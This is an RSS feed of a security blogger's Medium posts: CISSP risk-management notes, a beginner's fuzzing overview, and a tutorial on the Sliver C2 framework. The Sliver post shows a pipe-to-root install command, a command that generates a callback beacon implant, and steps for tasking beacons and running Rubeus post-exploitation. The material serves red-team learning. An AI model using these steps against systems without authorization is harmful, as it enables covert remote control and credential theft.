<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Barry Malone on Medium]]></title>
        <description><![CDATA[Stories by Barry Malone on Medium]]></description>
        <link>https://medium.com/@barrymalone?source=rss-1ad0ba38f58e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*SMXppq_fUi7ZsKwi3wGUaw.jpeg</url>
            <title>Stories by Barry Malone on Medium</title>
            <link>https://medium.com/@barrymalone?source=rss-1ad0ba38f58e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 17:58:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@barrymalone/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Understanding Security & Risk Management Concepts]]></title>
            <link>https://barrymalone.medium.com/understanding-security-risk-management-concepts-18bba6208c47?source=rss-1ad0ba38f58e------2</link>
            <guid isPermaLink="false">https://medium.com/p/18bba6208c47</guid>
            <category><![CDATA[cia-triad]]></category>
            <category><![CDATA[risk-management]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cissp]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Barry Malone]]></dc:creator>
            <pubDate>Wed, 15 May 2024 20:39:30 GMT</pubDate>
            <atom:updated>2024-05-15T20:39:30.778Z</atom:updated>
            <content:encoded><![CDATA[<p>Whether you’re just starting out in your cybersecurity career or you’ve been in the game a while, its important to grasp and understand a set of key concepts as you’ll likely be working to implement these concepts or you’ll join a company that already has some guidelines, frameworks or policies in place.</p><p>The goal of this post is to provide an understanding around some approaches, concepts and acronyms (so. many. acronyms.) you’ll come across during your journey/career in cybersecurity, hopefully this helps you if you read through it, this is also helping me review my CISSP notes, so lets get into it!</p><h3><strong>CIA Triad</strong></h3><p>What is it? — in it’s simplest form, the CIA Triad is used to highlight three of our biggest objectives or goals when it comes to building or establishing a secure environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*e4i9fULZL4o7m7SR2QAv8w.png" /><figcaption>CIA Triad</figcaption></figure><p>All three of these parameters depend on each other, so we can’t have integrity without confidentiality or availability, you get the idea.</p><p><strong>Confidentiality</strong></p><p>We can sum the confidentiality goal up by defining it as the steps we take to prevent or minimise unauthorised access to systems or data, ensuring confidentiality can be done in many different ways, for example implementing a number of core controls:</p><ul><li>Encrypting data in your environment</li><li>Strict access Control</li><li>Strong authentication procedures</li><li>Clear data classification</li><li>Network traffic padding</li><li>Staff training</li></ul><p>Alongside these concepts there are some additional terms or language you’ll see come up when speaking about confidentiality, it’s important to understand the context and meaning of these:</p><ul><li><strong>Sensitivity</strong>; refers to the quality of the data in terms of how much damage or harm could be caused if it is leaked or disclosed.</li><li><strong>Discretion</strong>; usually refers to the decision whereby an operator can influence or control disclosure.</li><li><strong>Criticality</strong>; the level to which data or a system is mission critical.</li><li><strong>Concealment</strong>; hiding or preventing disclosure.</li><li><strong>Privacy;</strong> keeping personally identifiable information confidential.</li><li><strong>Seclusion;</strong> storing something in an out-of-the-way manner or location, usually with strict access controls.</li></ul><p><strong>Integrity</strong></p><p>Primarily this is concerned with protecting the reliability of data, there are a number of different areas to understand around integrity but we can quickly sum it up by looking at it from three different points of view, we want to:</p><ul><li>Prevent unauthorised outsiders from making unauthorised changes to a system/data.</li><li>Prevent authorised people from making unauthorised changes (e.g. mistakes).</li><li>Establish consistency, data needs to be a true reflection of the real world, valid, consistent and verifiable.</li></ul><p>Additional concepts that are encompassed by the integrity objective are:</p><ul><li>Accuracy; Being correct and precise</li><li>Truthfulness; Being a true reflection of reality</li><li>Validity; Being factually and or logically sound</li><li>Accountability; Being responsible for actionable results</li><li>Responsibility; Being in charge of something</li><li>Completeness; Having all necessary components</li><li>Comprehensiveness; Being complete in scope</li></ul><p><strong>Availability</strong></p><p>This is somewhat self explanatory and less ambiguous than the other points of the triad, this point is focused around ensuring the authorised people have access to data or systems in a timely and uninterrupted manner.</p><p>There are a couple of key points when it comes to availability, which include:</p><ul><li>Usability; Means the state of data/system being usable or easy to use.</li><li>Accessibility; Revolves around an assurance that the widest audience possible can interact with a resource, e.g. making a resource accessible for people that have disabilities.</li><li>Timeliness; Being prompt and on-time within a reasonable time-frame.</li></ul><h3>DAD Triad</h3><p>On the flip side of the CIA Triad, we have the DAD Triad which in can represent or directly tie back to the failings of elements in the CIA Triad.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*PovR1T20qKfQ-8wgeltdjQ.png" /><figcaption>DAD Triad</figcaption></figure><p>We map each element on DAD to CIA:</p><ul><li>Disclosure violates confidentiality</li><li>Alteration violates integrity</li><li>Destruction violates availability</li></ul><p>But realistically what do the elements of this wee triangle mean in the real world:</p><ul><li><strong>Disclosure</strong>; sensitive data is accessed by an unauthorised party.</li><li><strong>Alteration</strong>; occurs when data is either maliciously or accidentally changed.</li><li><strong>Destruction</strong>; data or systems are damaged or rendered unusable.</li></ul><h3>Overprotection</h3><p>This is an important concept to be aware of as its easy to fall into the trap of ‘Protect everything as much as possible all the time with no questions!!1!’.</p><p>Security can in some cases be its own worst enemy, of course we want to protect our company, client data and systems but there is a line that can be crossed when controls or processes are introduced that are cumbersome, complex or counterproductive.</p><p>For example, you have a dataset or service that engineers need to use but you’ve implemented a complex process to gain access to and use the data, its become so protected now that the process has rendered it unusable or unavailable.</p><p>This is not always the case but again there is a line that you need to keep an eye on, this will be different in certain situations, but a concept to understand.</p><h3>Defence in Depth</h3><p>This means taking the approach of implementing multiple controls at different layers or in a series, the goal is to have multiple layers of protection for an asset or resource.</p><p>As a simple example, the thief below will have an easier time getting access to the crown jewels by breaching one of those linear barriers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*kqZxBv2lgyK_nmLLlqeVPw.png" /><figcaption>A Linear approach</figcaption></figure><p>But when we add a number of different layers between the thief and the jewels it makes things more difficult and gives us a better chance of catching him in the act.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*JRP86Y91oi2-BH_2s5FMWQ.png" /><figcaption>A layered approach</figcaption></figure><p>This is a simplified diagram but may help visualise the approach a bit better.</p><h3>Threat Modelling</h3><p>This is a proactive (and fun) measure used to identify, analyse and categorise potential threats.</p><p>The goal with threat modelling is to uncover the potential harm a specific threat might cause along with the probability of occurrence, doing this can help guide an organisation to preventing, mitigating or eradicating of some threats.</p><p>There are a number of different approaches that can be taken to accurately identify threats depending on the organisation and goals, some approaches include:</p><ul><li>Asset Focused: Focus on the value of assets and try to identify threats to the most costly of said assets.</li><li>Attack Focused: Geared towards fingerprinting or identifying attackers based on their modus operandi or TTP’s (Tactics, Techniques and Procedures)</li><li>Software Focused: If the org is a software company threat modelling can be done during development to highlight and discover threats specific to the company stack/software.</li></ul><p>After identifying threats you can use the STRIDE model to categorise each type of threat, this can help when it comes to giving the rest of the org context or background on anything identified, so most threats can fall into one of these categories:</p><ul><li><strong>Spoofing:</strong> Any attacks based on falsifying an identity</li><li><strong>Tampering:</strong> Attacks resulting in unauthorised changes to data</li><li><strong>Repudiation:</strong> The ability for a user or potential attacker to have plausible deniability of committing an action</li><li><strong>Info Disclosure:</strong> Leaking of sensitive information to unauthorised parties</li><li><strong>Denial of service:</strong> Rendering a resource or data unusable</li><li><strong>Elevation of privileges:</strong> The upgrading of a limited user/account to have greater permissions</li></ul><p>Once threats have been identified and categorised we can use the DREAD formula to help prioritise and focus on the most important.</p><h3><strong>DREAD</strong></h3><p>Developed by Microsoft, the DREAD approach can help us review threats using parameters which will give us a severity score in the end.</p><p><strong>DREAD</strong> stands for:</p><p><strong>Damage</strong> — Potentially how severe would the damage be this threat/risk were to occur.</p><p><strong>Reproducibility</strong> — How easy is it for an attacker to exploit or execute a threat, what’s the effort on the attackers part</p><p><strong>Exploitability</strong> — Similar to reproducibility but more focus on how much effort it takes to exploit a vulnerability</p><p><strong>Affected Users</strong> — How many users will this threat affect, what is the scope or impact</p><p><strong>Discoverability</strong> — How much effort would it take for an attacker to discover a vulnerability or attack vector</p><p>There are a number of formulas used to gather context on a risk or threat, DREAD is a good one and used by many.</p><p>If you’ve read this far — thank you, I hope some of these notes or insights help, more to come! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18bba6208c47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sliver: An Awesome C2 Framework]]></title>
            <link>https://barrymalone.medium.com/sliver-an-awesome-c2-framework-c0257f2f52e4?source=rss-1ad0ba38f58e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0257f2f52e4</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[redteam-tool]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Barry Malone]]></dc:creator>
            <pubDate>Sat, 12 Aug 2023 17:48:55 GMT</pubDate>
            <atom:updated>2023-08-12T17:49:50.292Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sliver: Intro to An Awesome C2 Framework</h3><figure><img alt="Sliver C2 Framework for Pentesters and Red Teamers" src="https://cdn-images-1.medium.com/max/450/1*mks6KB-cK9l5CsaljpFiwA.png" /><figcaption>Sliver C2</figcaption></figure><p>I’ve enjoyed diving into more red-teaming tools over the last couple of weeks, spoiler — there’s an abundance of them and most have really good docs to boot!</p><p>My main focus over the last week or two has been C2 frameworks, reading and learning about all of the niche functions and picking a couple to dive into.</p><p>There&#39;s loads of options out there, but I spent the most time using <a href="https://github.com/BishopFox/sliver">Sliver</a> from Bishop Fox, this was by far the easiest C2 to use and also the most fun as it happens, lets dive in.</p><h3>What’s a C2 server/framework?</h3><p>In the simplest terms, you can think of a C2 (Command &amp; Control) framework as a server used to remotely control other computers.</p><p>As an example, lets say a red-teamer is on an engagement for a large business with a lot of endpoints running different operating systems.</p><p>For a red-teamer, this can be frustrating and hard to manage on its own, having to keep track of which systems your on, trying to pivot, persistence, harvesting credentials etc. it can get really messy — now if all of those endpoints could simply connect back to something acting like a management server, it would be a lot easier and cleaner to keep track, your C2 server/framework is that management server and handles this (among lots of other things).</p><p>Most C2 frameworks come with a general baseline set of functionalities, some of which include:</p><ul><li>Command Execution</li><li>File Transfers</li><li>Encrypted Communications</li><li>Automated Persistence</li><li>Automated tasks</li></ul><p>There are a lot of open-source and licensed C2 frameworks such as:</p><ul><li><a href="https://github.com/Pickfordmatt/Apfell">Apfell</a></li><li><a href="https://github.com/cobbr/Covenant">Covenant</a></li><li><a href="https://github.com/Coalfire-Research/Slackor">Slackor</a></li><li><a href="https://www.cobaltstrike.com/">Cobalt Strike</a></li><li><a href="https://bruteratel.com/">Brute Ratel</a></li></ul><p>All have their pros and cons, but each is worth checking out — there&#39;s an awesome list <a href="https://github.com/killvxk/awesome-C2">right here</a> if you want to get started.</p><h3>Some C2 Basics</h3><p>There is some common language used when it comes to operating or using a C2 framework, regardless of which one you choose here&#39;s a quick rundown on some terms you might come across.</p><p><strong>Implant</strong> — This is a very generic term used to describe the piece of software that helps maintain access to a target system, it’s pretty much acts like an agent.</p><p><strong>Beacon </strong>— Can be interpreted as a pattern of communication between a target system and our C2 server, a target endpoint will periodically reach out to the C2 server to “check-in” and process any tasks issued from the server, the beaconing interval is normally randomised for evasion/stealth purposes.</p><p><strong>Jitter</strong> — Normally refers to the random delay (sometimes in seconds or minutes) between beaconing intervals, pretty much just the random delay between the implant/agent reaching out to the C2 server.</p><p><strong>Staged Payload</strong> — Of course the term payload refers to a piece of code we want to execute on a target system, the staged part of this term refers to a small piece of code that will later load a bigger piece of code (the payload).</p><p>If you have a large payload to execute on a target system it could set off alarm bells at a network or system level, or it might just be really complex or use a lot of bandwidth to execute outright, so staging this payload essentially breaks it up into different “stages” e.g. Stage0 loads =&gt; Stage1 loads =&gt; Stage2 etc.</p><p><strong>BOF </strong>— Stands for Beacon Object File, is generally custom code that can be written by a C2 operator that can interact and use the C2 beacon API’s, it allows for the ability of adding custom functionality and extending the capabilities of whichever C2 you choose to use if it allows custom BOF’s.</p><p><strong>Communications</strong> — When it comes to C2 servers, communication between the implant and server is of course vital but what’s also just as important is their methods of communication, it needs to be reliable and covert, you’ll see a number of C2 servers communicate over DNS, HTTPS, mTLS and in some cases even more obscure protocols.</p><p>In some cases a C2 framework can even use third-party services like Discord, Slack or even Twitter as methods of communication.</p><h3><strong>What’s Sliver?</strong></h3><p>So now to the good stuff, Sliver is a C2 framework designed for red teamers, pen testers and in some cases blue teams.</p><p>It’s capable of generating implants that run on pretty much any system architecture which is one of the reasons I love this framework, having the option to generate a wide array of versatile implants will make life a lot easier if you’re working with a large target network of different systems.</p><p>Sliver allows for communication in a couple of different protocols, ranging from protocols you might no of already such as DNS and HTTP(S) to some you might need to read up on like <a href="https://www.cloudflare.com/en-gb/learning/access-management/what-is-mutual-tls/">mTLS</a> (Mutual TLS) and <a href="https://cybernews.com/what-is-vpn/wireguard-protocol/">WireGuard</a>.</p><p>There’s more info <a href="https://github.com/BishopFox/sliver/wiki#what-is-sliver">here</a> on the Sliver wiki.</p><h3><strong>Sliver Installation</strong></h3><p>I’m running Sliver on Kali, there’s a couple of options when it comes to installation, there’s the easy way whereby you can grab one of the build releases from <a href="https://github.com/BishopFox/sliver/releases">here </a>or you can run the below curl the installation script and run it, <strong><em>but generally it’s not a good idea to randomly curl scripts from the internet and run them as root, so be weary of ever doing this again!</em></strong></p><pre>curl https://sliver.sh/install | sudo bash</pre><p>One thing to note is, if you’re running this on Kali/Ubuntu/any other flavour of Linux, in order to build cross platform implants you’ll need to install the Mingw compiler, its an easy install by running the below command:</p><pre>sudo apt install mingw-w64</pre><p>Once your done with both of the above, you can start Sliver by running the sliver command!</p><figure><img alt="running sliver" src="https://cdn-images-1.medium.com/max/672/1*hJwxMOJH7qIwDymGMKXD0Q.png" /><figcaption>Running Sliver C2</figcaption></figure><h3>The Armory</h3><p>Sliver has a built in extension/package manager called Armory, this gives you the ability to download third party BOF’s and other extensions extending and expanding your options.</p><p>Installing packages and extensions via Armory is pretty simple, it’s just a case of running the below armory command:</p><pre>armory install &lt;your_package_name&gt;</pre><p>Here&#39;s an example of successfully installing seatbelt:</p><figure><img alt="seatbelt armory install" src="https://cdn-images-1.medium.com/max/490/1*Uh3ysi8VJbJ3_AHrVbD7PQ.png" /><figcaption>Sliver Armory Install</figcaption></figure><p>If you want to go all in and just pull down all available packages you can run the install all command:</p><pre>armory install all</pre><p>You can take a look at all of the currently available packages <a href="https://github.com/sliverarmory/armory/blob/master/armory.json">here</a> this list appears to be expanding as people open pull requests to get new stuff added.</p><p>It also appears the option of self-hosting a private armory is available and will be documented hopefully soon.</p><h3>Implants &amp; Listeners</h3><p>Now to some basic usage, generating implants and starting subsequent listeners is fairly straightforward.</p><p>For scenarios sake, lets say you’re a red teamer on an engagement and you have access or at least command execution on a target system running Windows, now we need to get your nice new windows victim to phone home to your Sliver C2.</p><p>Lets first generate an implant, using the below command:</p><pre>generate beacon --http &lt;your_server_ip&gt; --os &lt;target_os&gt; --arch &lt;target_arch&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*RCLXM8gOb2LJJhJSM-J-Zg.png" /><figcaption>Sliver Generate Beacon</figcaption></figure><p>In the above example, I’ve just used http as the beacon protocol for testing purposes but you can set this to DNS, mTLS or WireGuard if you wish.</p><p>Another thing to note is that Sliver offers two implant options, the beacon option like above or a session option, the main difference is the session option sets up a permanent connection for a real-time session between the target system and the Sliver server, this is really handy if you want to just drop into a terminal/session and interact with a target system quickly but might not be the best idea if stealth needs to be factored in.</p><p>Once our implant is generated and delivered to our target system we can spin up a quick listener to catch a connection back from said victim, this is as simple as running the http/dns/mtls command in the Sliver cli, in our case here it’s http:</p><figure><img alt="Starting Sliver Listener" src="https://cdn-images-1.medium.com/max/359/1*Q6L24XTTpcSFNDqbJihcdg.png" /><figcaption>Starting Sliver Listener</figcaption></figure><p>When the listener is started and the implant is executed on our target endpoint, we’ll see the beacon become active in the Sliver cli:</p><figure><img alt="Sliver Beacon Connecting" src="https://cdn-images-1.medium.com/max/972/1*BNP1JrJNLiQoTtuS7QEs_Q.png" /><figcaption>Sliver Beacon Connect</figcaption></figure><p>You can check the status of all running beacons by just running the beacons command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UJpxvx8yIjI_aWnxAtcYpA.png" /></figure><p>Congrats, you’ve got your implant phoning home to your Sliver C2 server now!</p><h3>Interacting With a Beacon</h3><p>Now that your implant is up and running, it’s time to get your hands dirty and work with it.</p><p>To interact with a beacon all you need to do is run the use command and pass the relevant beacon ID like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*BZNLg5DXm9guetohRoNPXg.png" /></figure><p>Now that this beacon is in our sights we can start to issue commands, run post exploitation packages/modules from the armory or work on pivoting, whatever’s next in your playbook.</p><p>When we execute commands on a target system Sliver uses a task based system, so we can execute a command and whenever the target system checks-in with our C2 server it will receive it’s tasked command and execute it — so if you execute a command against a beacon and don’t get the output back after a couple of seconds/minutes this is why.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*tgPGwPKmg1ytTqLA8ymJWw.png" /><figcaption>Sliver Execute a Command</figcaption></figure><p>You can also keep track of running/previous tasks and their output using the tasks and tasks fetch command:</p><figure><img alt="Sliver Tasks" src="https://cdn-images-1.medium.com/max/1024/1*Mzoycvxfx5yhJYpatuy2pw.png" /><figcaption>Sliver Tasks</figcaption></figure><p>Here’s an example of executing rubeus from the Sliver armory against our target, once you’ve installed the rubeus package from the armory its as simple as running the command (and passing any params if needed):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*9ryMR10RG89fsks2bszEkw.png" /><figcaption>Sliver rubeus Armory</figcaption></figure><p>At this point there is a lot more paths you can go down in terms of post exploitation and a lot more third party tools you can utilise from armory.</p><h3>Sliver Profiles</h3><p>If you’ve ever had to use any kind of C2 framework before you’ll know the pain of having to retype variations of the same commands over and over again, or that constantly hitting the up arrow on the keyboard to get back to what you need.</p><p>With Sliver you have the option to create standard and reusable profiles, so no more having to bash that up arrow! :)</p><p>Although not revolutionary, in time-saving aspects this is an absolute gem of a feature, here&#39;s an example of generating a profile based on our examples above:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*tx-i9UB4iYwYW5M4mv2weg.png" /><figcaption>Sliver New Profile</figcaption></figure><p>Boom, we’ve got our profile saved and easy to re-use — awesome if you’re pressed for time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*-UVHw-vSxGr1xxF-essVew.png" /></figure><h3>Conclusion</h3><p>There are so many good C2 frameworks out there it can be hard to choose which one to start learning with, I’ve looked at a couple and Sliver has been the easiest to get to grips with quickly.</p><p>If you think C2 stuff is just client/server communications with a bit added on, you’re partly right — but don’t underestimate the complexity of operating one of these frameworks and that’s before even looking at any of the AV/EDR evasion aspects.</p><p>If you’re new to red team tools, or just interested in general — I’d highly recommend taking a look at Sliver and any other C2 frameworks you can, there’s a bit of crossover between them all in terms of language and some features but the real learning is in setting up a lab and getting your hands dirty.</p><p>If you’ve read this far, thank you — I appreciate it, feel free to leave any feedback or suggestions on other tools to look at!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0257f2f52e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fuzzing — An Overview For Beginners]]></title>
            <link>https://barrymalone.medium.com/fuzzing-an-overview-for-beginners-f49becb4ff7b?source=rss-1ad0ba38f58e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f49becb4ff7b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[fuzzing]]></category>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Barry Malone]]></dc:creator>
            <pubDate>Wed, 09 Nov 2022 20:28:34 GMT</pubDate>
            <atom:updated>2022-11-09T20:28:34.600Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*LV730os0Yw6Sk1avTVhPhw.png" /></figure><p>Every day we see news of a new zero-day being discovered, abused or subsequently patched, these vulnerabilities are not (or are very rarely) discovered by accident, quite the opposite actually.</p><p>Security researchers use a combination of tools and workflows to reverse engineer software and discover these vulnerabilities and in this blog post we’ll be taking a look at one commonly used technique —<strong> Fuzzing</strong>.</p><h3>What is Fuzzing?</h3><p>In it’s simplest, boiled down form you can think of fuzzing as; The process of passing random or semi-random data to a target in an automated manner while monitoring the targets output for crashes or any kind of anomalies to be further explored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*XE361zB83zOb948RzGLiKw.png" /></figure><p>As an example, lets say we have an application that takes two simple parameters:</p><ul><li><strong>Name</strong> (string)</li><li><strong>ID</strong> (integer)</li></ul><p>Based on these two theoretical inputs we can ask ourselves a couple of questions:</p><ul><li><strong>What happens if we submit a name with 100 characters or longer?</strong></li><li><strong>What about a name with strange character encoding?</strong></li><li><strong>What about submitting an ID with a value of 0, or -1?</strong></li><li><strong>What about submitting strings instead of an integer for ID?</strong></li><li><strong>What if we submit a valid ID but append some garbage to the end of it?</strong></li></ul><p>Sitting and manually generating these inputs would obviously be really time consuming (and painful) for a human to do, so this is where we would use a Fuzzer to generate inputs.</p><p>Once our Fuzzer has generated these inputs, they can then be passed to our target application and from there we can keep track of responses from the application and how it behaves to the malformed input.</p><h3>What is a Fuzzer?</h3><p>A fuzzer can be broken down into a couple of key components, the sophistication of each of these components can vary a bit:</p><ul><li><strong>Generator </strong>— Probably the most important component of a fuzzer, it’s responsible for creating (or generating :) ) what will eventually be inputs that are passed to our fuzzing target, so the generators approach has a massive impact on code coverage and the overall effectiveness of the fuzzer.</li><li><strong>Delivery</strong> — The delivery functionality determines how our generator outputs get delivered to our fuzzing target, so for example if we were fuzzing a network based application delivery would be over sockets, or if it was a file based application our delivery method would be file based and so on.</li><li><strong>Monitor </strong>— So when our fuzzer is running we need a way to check out how the target application or protocol is handling our fuzzing inputs, when it crashes, if it hangs and such, the monitoring functionality takes care of this along with classifying which types of bugs the fuzzer finds in some cases.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*VV115x8hUHuA5l56SRuFtQ.png" /></figure><h3>Types of Fuzzing</h3><h4>Mutation-Based</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/150/1*Vu93QUvD5T6BaiqSFA8Htg.png" /></figure><p>The concept of Mutation based fuzzing is fairly straight forward, we take a syntactically valid input (referred to as a seed) and introduce small changes or mutations to the input, whist keeping the input valid we try to elicit unintended behaviour from the target using our mutations.</p><p>The mutations our input can range from just inserting a random character, flipping bits, removing characters, inserting special characters or symbols and so on.</p><p>As an example, lets say we have an application that takes the string “<strong><em>I’m a little teapot</em></strong>”.</p><p>With mutation based fuzzing in mind we can come up with a lot of mutations for this string:</p><pre>I’m a little teap0t<br>’m a little teapot<br>I’m at little teapot<br>I’m @ little teapot</pre><p>Understanding mutation based fuzzing is essential, although the above example is an overview the concept can get very deep, but this is the essence of it.</p><h4>Generation-Based</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/150/1*BshP0q4hUqkkQ6el8kvctA.png" /></figure><p>Generation based fuzzing differs from mutation based fuzzing in that it doesn’t really require valid example input (seed), the idea is to have the generator create random data/patterns based on the targets input model (read schema).</p><p>The inputs generated can range from empty strings, long integers or decimals, negative integers, really long strings or even a mix of all.</p><h4>Feedback-Based</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/150/1*TdHCnXPAo_LJijn-vko0-w.png" /></figure><p>Feedback based fuzzing involves our fuzzer taking code coverage into account, code coverage is a phrase which essentially means “how much of the underlying code is being executed when we are fuzzing”.</p><p>With a Feedback based approach, measuring code coverage allows your generator to create more test cases for a whole array of different potential code paths for the target application, binary or protocol.</p><h4>Evolutionary-Based</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/150/1*JGMobU1y5wa2dL4J9WW8dQ.png" /></figure><p>Evolutionary based fuzzing takes the approach of using algorithms (Evolutionary Algorithms) that are based on ‘Survival of the fittest’, so when generating data or test inputs for the target, an evolutionary based fuzzer will normally have some kind of built in scoring system, this scoring system is used to separate the good (strong) test cases from the bad (weak).</p><p>Evolutionary based topics can get quite deep and complex especially when ML or AI concepts get rolled into the mix but there are a bunch of great resources which I’ll list at the end of this blog.</p><h3>Popular Fuzzing Tools</h3><p>Fuzzing is a massive part of the exploit development process, with all of the talented folks that work in the space it goes without saying that there’s a tonne of amazing tools out there to get stuck into, here is a list of some of the most popular.</p><h4>American Fuzzy Lop (AFL)</h4><p>AFL has become quite popular since its release a couple of years ago, built by <a href="https://twitter.com/lcamtuf">Michal Zalewski</a> it’s a powerful brute-force based fuzzer paired with a genetic algorithm (evolutionary-based).</p><p>It can be run in qemu mode for black-box fuzzing, I really enjoy the crash analysis aspect of AFL, allowing you to pinpoint the where, when and why of each crash — Awesome tool!</p><p><strong><em>Repo:</em></strong> <a href="https://github.com/google/AFL">https://github.com/google/AFL</a></p><h4>SPIKE</h4><p>SPIKE is a fuzzer creation toolkit, it provides a high level API and functionality so you can essentially write spike scripts for fuzzing network protocols etc.</p><p>This is a really good framework for getting started with building basic fuzzers and understanding base components of a fuzzer.</p><p>I’d reccomend spinning up a vulnerable web app or test application, writing a simple spike script to fuzz the app/socket and go from there.</p><p><strong><em>Repo: </em></strong><a href="https://github.com/guilhermeferreira/spikepp/tree/master/SPIKE">https://github.com/guilhermeferreira/spikepp/tree/master/SPIKE</a></p><h4>Peach Fuzzer</h4><p>Peach Fuzzer is a cross platform fuzzer that is really good for fuzzing file formats, network protocols and API’s.</p><p>When Peach Fuzzer is configured the interface is really intuitive and easy to navigate, the fact that it is cross platform is also a bonus — I’d definitely recommend getting it configured and doing some testing with it.</p><p><strong><em>Repo: </em></strong><a href="https://gitlab.com/peachtech/peach-fuzzer-community">https://gitlab.com/peachtech/peach-fuzzer-community</a></p><h4>boofuzz</h4><p>boofuz is a python library that allows you to write custom fuzzers for network protocols, if you like fuzzing and python (and fuzzing with python :D ) this is a tool for you.</p><p>Although this is a really good tool if you’re just starting out with fuzzing it might not be a great place to jump in at the beginning, saying that — the documentation is really good.</p><p><strong><em>Repo: </em></strong><a href="https://github.com/jtpereyda/boofuzz">https://github.com/jtpereyda/boofuzz</a></p><h4>Radamsa</h4><p>Radamsa is a general purpose fuzzer, the difference between this and the other fuzzers mentioned is that Radamsa is cli based, which is cool in minimalistic terms.</p><p>The examples on the Radamsa repo are really good so you could get up and running with this fuzzer in no time, it’s popularity also means there is no shortage of tutorials and blogs.</p><p><strong><em>Repo: </em></strong><a href="https://gitlab.com/akihe/radamsa">https://gitlab.com/akihe/radamsa</a></p><h4>zzuf</h4><p>zzuf is a generic app fuzzer, it works by intercepting network/file operations and flipping bits and corrupting user supplied inputs.</p><p>I have not used this fuzzer a lot myself but have read a couple of blogs/tutorials that do mention it so is probably one to try out (I’ll be testing it out soon myself).</p><p><strong><em>Repo: </em></strong><a href="https://github.com/samhocevar/zzuf">https://github.com/samhocevar/zzuf</a></p><p>The tools listed above happen to be some that are popular, truth is there are an endless number of fuzzers/frameworks out there for you to use when looking for bugs!</p><h3>Additional Learning Resources</h3><p>I love teaching myself new concepts and techniques, below is a list of some resources which I found really helpful when learning more about fuzzing, some contain tutorials and guides and others are research papers:</p><p><strong>The Fuzzing Project </strong>— <a href="https://fuzzing-project.org/">https://fuzzing-project.org/</a></p><p><strong>The Fuzzing Book </strong>— <a href="https://www.fuzzingbook.org/">https://www.fuzzingbook.org/</a></p><p><strong>Vuln-Oriented Evolutionary Fuzzing</strong> — <a href="https://arxiv.org/pdf/1901.01142.pdf">https://arxiv.org/pdf/1901.01142.pdf</a></p><p><strong>Fuzzing: The State of the Art</strong> — <a href="https://apps.dtic.mil/sti/pdfs/ADA558209.pdf">https://apps.dtic.mil/sti/pdfs/ADA558209.pdf</a></p><p><strong>Fuzzing Labs </strong>— <a href="https://www.youtube.com/channel/UCGD1Qt2jgnFRjrfAITGdNfQ">https://www.youtube.com/channel/UCGD1Qt2jgnFRjrfAITGdNfQ</a></p><p><strong>Awesome Fuzzing</strong> — <a href="https://github.com/secfigo/Awesome-Fuzzing">https://github.com/secfigo/Awesome-Fuzzing</a></p><p><strong>Vulnserver </strong>— <a href="https://github.com/stephenbradshaw/vulnserver">https://github.com/stephenbradshaw/vulnserver</a></p><p><strong>epi052 Blog</strong> — <a href="https://epi052.gitlab.io/notes-to-self/blog/2021-11-01-fuzzing-101-with-libafl/">https://epi052.gitlab.io/notes-to-self/blog/2021-11-01-fuzzing-101-with-libafl/</a></p><p>Hopefully you’ve found some of this information helpful or useful, but in the event you have any questions feel free to reach out and I can try help.</p><p>Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f49becb4ff7b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
